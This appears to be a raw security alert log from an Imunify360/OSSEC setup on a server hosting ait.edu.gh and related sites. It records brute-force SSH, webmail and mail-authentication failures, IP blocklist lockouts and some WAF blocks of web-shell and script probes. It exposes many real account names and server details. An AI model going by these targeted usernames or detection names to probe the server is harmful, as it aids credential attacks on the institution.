Jan 29 13:52:43 ait sshd[176405]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.125.93.101 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 158.181.44.156
description:
[2025-01-29 13:52:22 +0100] info [webmaild] 158.181.44.156 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.110.145.229
description:
[2025-01-29 13:53:24 +0100] info [webmaild] 187.110.145.229 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 13:53:50 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.160.119.116
description:
Jan 29 13:54:08 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.160.119.116 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 178.134.25.225
description:
[2025-01-29 13:54:10 +0100] info [webmaild] 178.134.25.225 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.160.119.116
description:
2025-01-29 13:54:10 dovecot_plain authenticator failed for ([61.160.119.116]) [61.160.119.116]:40964: 535 Incorrect authentication data (set_id=ads20a00244y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.50.206
description:
Jan 29 13:54:04 ait sshd[177207]: pam_imunify(sshd:auth): [IM360_RBL] The IP 146.190.50.206 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 146.190.50.206
description:
Jan 29 13:54:04 ait sshd[177207]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.190.50.206


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.12.98.230
description:
[2025-01-29 13:54:07 +0100] info [webmaild] 177.12.98.230 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.58.225.46
description:
Jan 29 13:54:45 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.58.225.46 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.178.176.85
description:
Jan 29 13:54:51 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.178.176.85 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.65.68.104
description:
2025-01-29 13:54:55 dovecot_plain authenticator failed for ([45.65.68.104]) [45.65.68.104]:48862: 535 Incorrect authentication data (set_id=abs22a00002y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.167.217.86
description:
2025-01-29 13:55:00 dovecot_plain authenticator failed for ([183.167.217.86]) [183.167.217.86]:42511: 535 Incorrect authentication data (set_id=abs08a99987y)


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 122.51.104.242
description:
Jan 29 13:55:01 ait sshd[177690]: Invalid user loicexpertise.com 2a00 from 122.51.104.242 port 43312


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.186.131.108
description:
2025-01-29 13:54:59 dovecot_plain authenticator failed for ([121.186.131.108]) [121.186.131.108]:39580: 535 Incorrect authentication data (set_id=abs22a00002y@ait.edu.gh)


plugin: modsec
rule: 77140740
name: IM360 WAF: Twenty shell abuse attempt
abuser: 45.227.254.60
domain: autodiscover.ait.edu.gh
description:
IM360 WAF: Twenty shell abuse attempt||MVN:REQUEST_HEADERS:referer||WPU:||RSV:6.65||T:APACHE||MV:www.google.com||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.228.174
description:
2025-01-29 13:54:43 dovecot_plain authenticator failed for ([218.149.228.174]) [218.149.228.174]:50287: 535 Incorrect authentication data (set_id=abs22a00002y@ait.edu.gh)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.51.104.242
description:
Jan 29 13:55:01 ait sshd[177690]: pam_imunify(sshd:auth): [IM360_RBL] The IP 122.51.104.242 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.241.228.179
description:
2025-01-29 13:55:09 dovecot_plain authenticator failed for ([104.241.228.179]) [104.241.228.179]:56632: 535 Incorrect authentication data (set_id=abs1@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.251.253.62
description:
2025-01-29 13:54:21 dovecot_plain authenticator failed for ([219.251.253.62]) [219.251.253.62]:56464: 535 Incorrect authentication data (set_id=ads20a00244y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.228.174
description:
Jan 29 13:54:41 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.228.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.186.131.108
description:
Jan 29 13:54:57 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.186.131.108 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 122.51.104.242
description:
Jan 29 13:55:01 ait sshd[177690]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=122.51.104.242


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.251.253.62
description:
Jan 29 13:54:19 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.251.253.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.58.225.46
description:
2025-01-29 13:54:47 dovecot_plain authenticator failed for ([58.58.225.46]) [58.58.225.46]:59308: 535 Incorrect authentication data (set_id=abs21a00012y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.158.46.79
description:
Jan 29 13:55:06 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.158.46.79 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 219.153.13.161
description:
Jan 29 13:55:10 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 219.153.13.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 13:54:42 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.86.114.43
description:
2025-01-29 13:54:44 dovecot_plain authenticator failed for ([177.99.192.241]) [201.86.114.43]:34035: 535 Incorrect authentication data (set_id=abs08a99987y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.178.176.85
description:
2025-01-29 13:54:53 dovecot_plain authenticator failed for ([221.178.176.85]) [221.178.176.85]:51100: 535 Incorrect authentication data (set_id=abs08b99933y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 13:54:59 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 104.241.228.179
description:
Jan 29 13:55:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 104.241.228.179 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 154.71.152.97
description:
[2025-01-29 13:55:08 +0100] info [webmaild] 154.71.152.97 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.86.114.43
description:
Jan 29 13:54:42 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.86.114.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.65.68.104
description:
Jan 29 13:54:53 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.65.68.104 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 183.167.217.86
description:
Jan 29 13:54:58 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 183.167.217.86 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.158.46.79
description:
2025-01-29 13:55:08 dovecot_plain authenticator failed for ([117.158.46.79]) [117.158.46.79]:48594: 535 Incorrect authentication data (set_id=abs21a00012y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.153.13.161
description:
2025-01-29 13:55:12 dovecot_plain authenticator failed for ([219.153.13.161]) [219.153.13.161]:50243: 535 Incorrect authentication data (set_id=abs08b99933y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.253.178
description:
2025-01-29 13:56:14 dovecot_plain authenticator failed for ([116.113.253.178]) [116.113.253.178]:57127: 535 Incorrect authentication data (set_id=sng26b99239y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 203.128.181.121
description:
Jan 29 13:55:39 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 203.128.181.121 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.222.38.9
description:
Jan 29 13:55:47 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.222.38.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.8.163.70
description:
2025-01-29 13:55:56 dovecot_plain authenticator failed for (187-8-163-70.customer.tdatabrasil.net.br) [187.8.163.70]:52932: 535 Incorrect authentication data (set_id=sng26b99239y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.75.227.38
description:
Jan 29 13:56:18 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.75.227.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.185.96.125
description:
2025-01-29 13:55:21 dovecot_plain authenticator failed for ([130.185.96.125]) [130.185.96.125]:38327: 535 Incorrect authentication data (set_id=abs22a00002y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.222.38.9
description:
2025-01-29 13:55:49 dovecot_plain authenticator failed for (scz-177-222-38-00009.tigo.bo) [177.222.38.9]:49860: 535 Incorrect authentication data (set_id=ads14b00350y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.185.89.241
description:
2025-01-29 13:55:36 dovecot_plain authenticator failed for ([39.185.89.241]) [39.185.89.241]:48259: 535 Incorrect authentication data (set_id=abs21a00012y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.185.96.125
description:
Jan 29 13:55:19 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.185.96.125 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.185.89.241
description:
Jan 29 13:55:34 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.185.89.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.128.181.121
description:
2025-01-29 13:55:41 dovecot_plain authenticator failed for ([203.128.181.121]) [203.128.181.121]:41066: 535 Incorrect authentication data (set_id=abs1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.8.163.70
description:
Jan 29 13:55:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.8.163.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.113.253.178
description:
Jan 29 13:56:12 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.113.253.178 has been locked due to Imunify RBL


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 216.10.245.107
description:
Jan 29 13:55:34 ait sshd[178079]: pam_imunify(sshd:auth): [IM360_RBL] The IP 216.10.245.107 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 216.10.245.107
description:
Jan 29 13:55:34 ait sshd[178079]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=216.10.245.107  user=root


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 13:56:29 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 13:56:51 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 187.108.124.170
description:
[2025-01-29 13:57:14 +0100] info [webmaild] 187.108.124.170 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.75.227.38
description:
2025-01-29 13:56:20 dovecot_plain authenticator failed for 128-75-227-38.broadband.corbina.ru [128.75.227.38]:36913: 535 Incorrect authentication data (set_id=ads14b00350y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 13:58:15 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 13:57:20 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.189.108.0
description:
[2025-01-29 13:57:35 +0100] info [webmaild] 179.189.108.0 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 37.238.66.22
description:
[2025-01-29 13:59:16 +0100] info [webmaild] 37.238.66.22 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 13:58:28 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 13:58:29 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.152.90.52
description:
[2025-01-29 13:59:28 +0100] info [webmaild] 177.152.90.52 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.204.237.3
description:
Jan 29 13:59:32 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.204.237.3 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.115.254.158
description:
Jan 29 13:59:20 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.115.254.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.115.254.158
description:
2025-01-29 13:59:22 dovecot_plain authenticator failed for ([103.115.254.158]) [103.115.254.158]:40459: 535 Incorrect authentication data (set_id=ads21b00213y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.204.237.3
description:
2025-01-29 13:59:34 dovecot_plain authenticator failed for (broadband-37.204-237-3.ip.moscow.rt.ru) [37.204.237.3]:33776: 535 Incorrect authentication data (set_id=ads21b00213y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 14:00:01 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 103.126.218.177
description:
[2025-01-29 14:00:41 +0100] info [webmaild] 103.126.218.177 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.110.70.2
description:
2025-01-29 14:00:50 dovecot_login authenticator failed for static-98-110-70-2.cmdnnj.fios.verizon.net [98.110.70.2]:60363: 535 Incorrect authentication data (set_id=valeria553@ait-edu.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.69.244.39
description:
Jan 29 14:01:03 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.69.244.39 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.127.143.140
description:
2025-01-29 14:01:15 dovecot_plain authenticator failed for ([116.127.143.140]) [116.127.143.140]:41082: 535 Incorrect authentication data (set_id=ads19b00191y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.234.245.7
description:
Jan 29 14:00:56 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.234.245.7 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 157.100.136.95
description:
[2025-01-29 14:00:35 +0100] info [webmaild] 157.100.136.95 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.234.245.7
description:
2025-01-29 14:00:58 dovecot_login authenticator failed for (net245.234.188-7.ertelecom.ru) [188.234.245.7]:55962: 535 Incorrect authentication data (set_id=valeria553)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 98.110.70.2
description:
Jan 29 14:00:48 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 98.110.70.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.69.244.39
description:
2025-01-29 14:01:05 dovecot_plain authenticator failed for ([103.69.244.39]) [103.69.244.39]:60196: 535 Incorrect authentication data (set_id=ads19b00191y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.127.143.140
description:
Jan 29 14:01:13 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.127.143.140 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.183.180.108
description:
2025-01-29 14:02:17 dovecot_plain authenticator failed for ([118.183.180.108]) [118.183.180.108]:37121: 535 Incorrect authentication data (set_id=dzidonu@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.183.180.108
description:
Jan 29 14:02:15 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.183.180.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 14:01:23 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.173.193.9
description:
[2025-01-29 14:01:32 +0100] info [webmaild] 45.173.193.9 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.217.137.126
description:
Jan 29 14:02:47 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.217.137.126 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.237.10.119
description:
[2025-01-29 14:02:27 +0100] info [webmaild] 45.237.10.119 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.211.77.58
description:
Jan 29 14:02:25 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.211.77.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.211.77.58
description:
2025-01-29 14:02:27 dovecot_plain authenticator failed for ([80.82.54.138]) [81.211.77.58]:44265: 535 Incorrect authentication data (set_id=dzidonu)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.47.198
description:
47.128.47.198 - - [29/Jan/2025:14:03:01 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9216337 HTTP/2.0" 302 0 gou.university "https://gou.university/cgi-sys/suspendedpage.cgi?filter_course-category=205%2C61%2C125%2C106%2C30&filter_course-language=79%2C99&filtering=1&price_type=paid" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.47.198


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.50.75
description:
47.128.50.75 - - [29/Jan/2025:14:03:10 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=21368973 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/course-category/search-engine-optimization/?filter_course-category=106&filtering=1&tutor-course-filter-category=187" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.50.75


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.50.185.95
description:
[2025-01-29 14:04:04 +0100] info [webmaild] 181.50.185.95 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 168.0.23.247
description:
[2025-01-29 14:04:10 +0100] info [webmaild] 168.0.23.247 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 197.205.145.199
description:
[2025-01-29 14:03:41 +0100] info [webmaild] 197.205.145.199 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 197.43.18.148
description:
[2025-01-29 14:06:05 +0100] info [webmaild] 197.43.18.148 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 176.28.135.119
description:
[2025-01-29 14:05:24 +0100] info [webmaild] 176.28.135.119 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 131.196.19.228
description:
[2025-01-29 14:05:39 +0100] info [webmaild] 131.196.19.228 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.202.201.63
description:
Jan 29 14:05:47 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.202.201.63 has been locked due to Imunify RBL


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 111.231.56.128
description:
Jan 29 14:06:10 ait sshd[184704]: Invalid user responsivetemplates.nl 2001 from 111.231.56.128 port 34586


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 29 14:06:11 ait sshd[184704]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.195.67.82
description:
Jan 29 14:05:36 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.195.67.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.195.67.82
description:
2025-01-29 14:05:38 dovecot_plain authenticator failed for ([200.195.67.82]) [200.195.67.82]:55083: 535 Incorrect authentication data (set_id=postmaster@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.201.63
description:
2025-01-29 14:05:49 dovecot_plain authenticator failed for (m121-202-201-63.smartone.com) [121.202.201.63]:28646: 535 Incorrect authentication data (set_id=postmaster)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.167.164.89
description:
[2025-01-29 14:06:54 +0100] info [webmaild] 45.167.164.89 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 212.30.36.216
domain: ait.edu.gh
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:14-07.212.30.36.216||RSV:6.65||T:APACHE||


plugin: modsec
rule: 77316861
name: IM360 WAF: Block IP which is in the infectors RBL
abuser: 212.30.36.212
domain: ait.edu.gh
description:
IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:14-08.212.30.36.212||RSV:6.65||T:APACHE||


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 212.30.36.196
domain: ait.edu.gh
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:6.65||T:APACHE||MV:/wp-admin/includes/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.78.101.178
description:
[2025-01-29 14:07:46 +0100] info [webmaild] 181.78.101.178 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 179.108.224.108
description:
[2025-01-29 14:09:08 +0100] info [webmaild] 179.108.224.108 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.30.191.129
description:
Jan 29 14:09:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.30.191.129 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.30.191.129
description:
2025-01-29 14:09:56 dovecot_plain authenticator failed for ([5.30.191.129]) [5.30.191.129]:60624: 535 Incorrect authentication data (set_id=mensah@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.167.19.189
description:
Jan 29 14:10:05 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.167.19.189 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.167.19.189
description:
2025-01-29 14:10:07 dovecot_plain authenticator failed for ([60.167.19.189]) [60.167.19.189]:32835: 535 Incorrect authentication data (set_id=mensah)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.105.196.214
description:
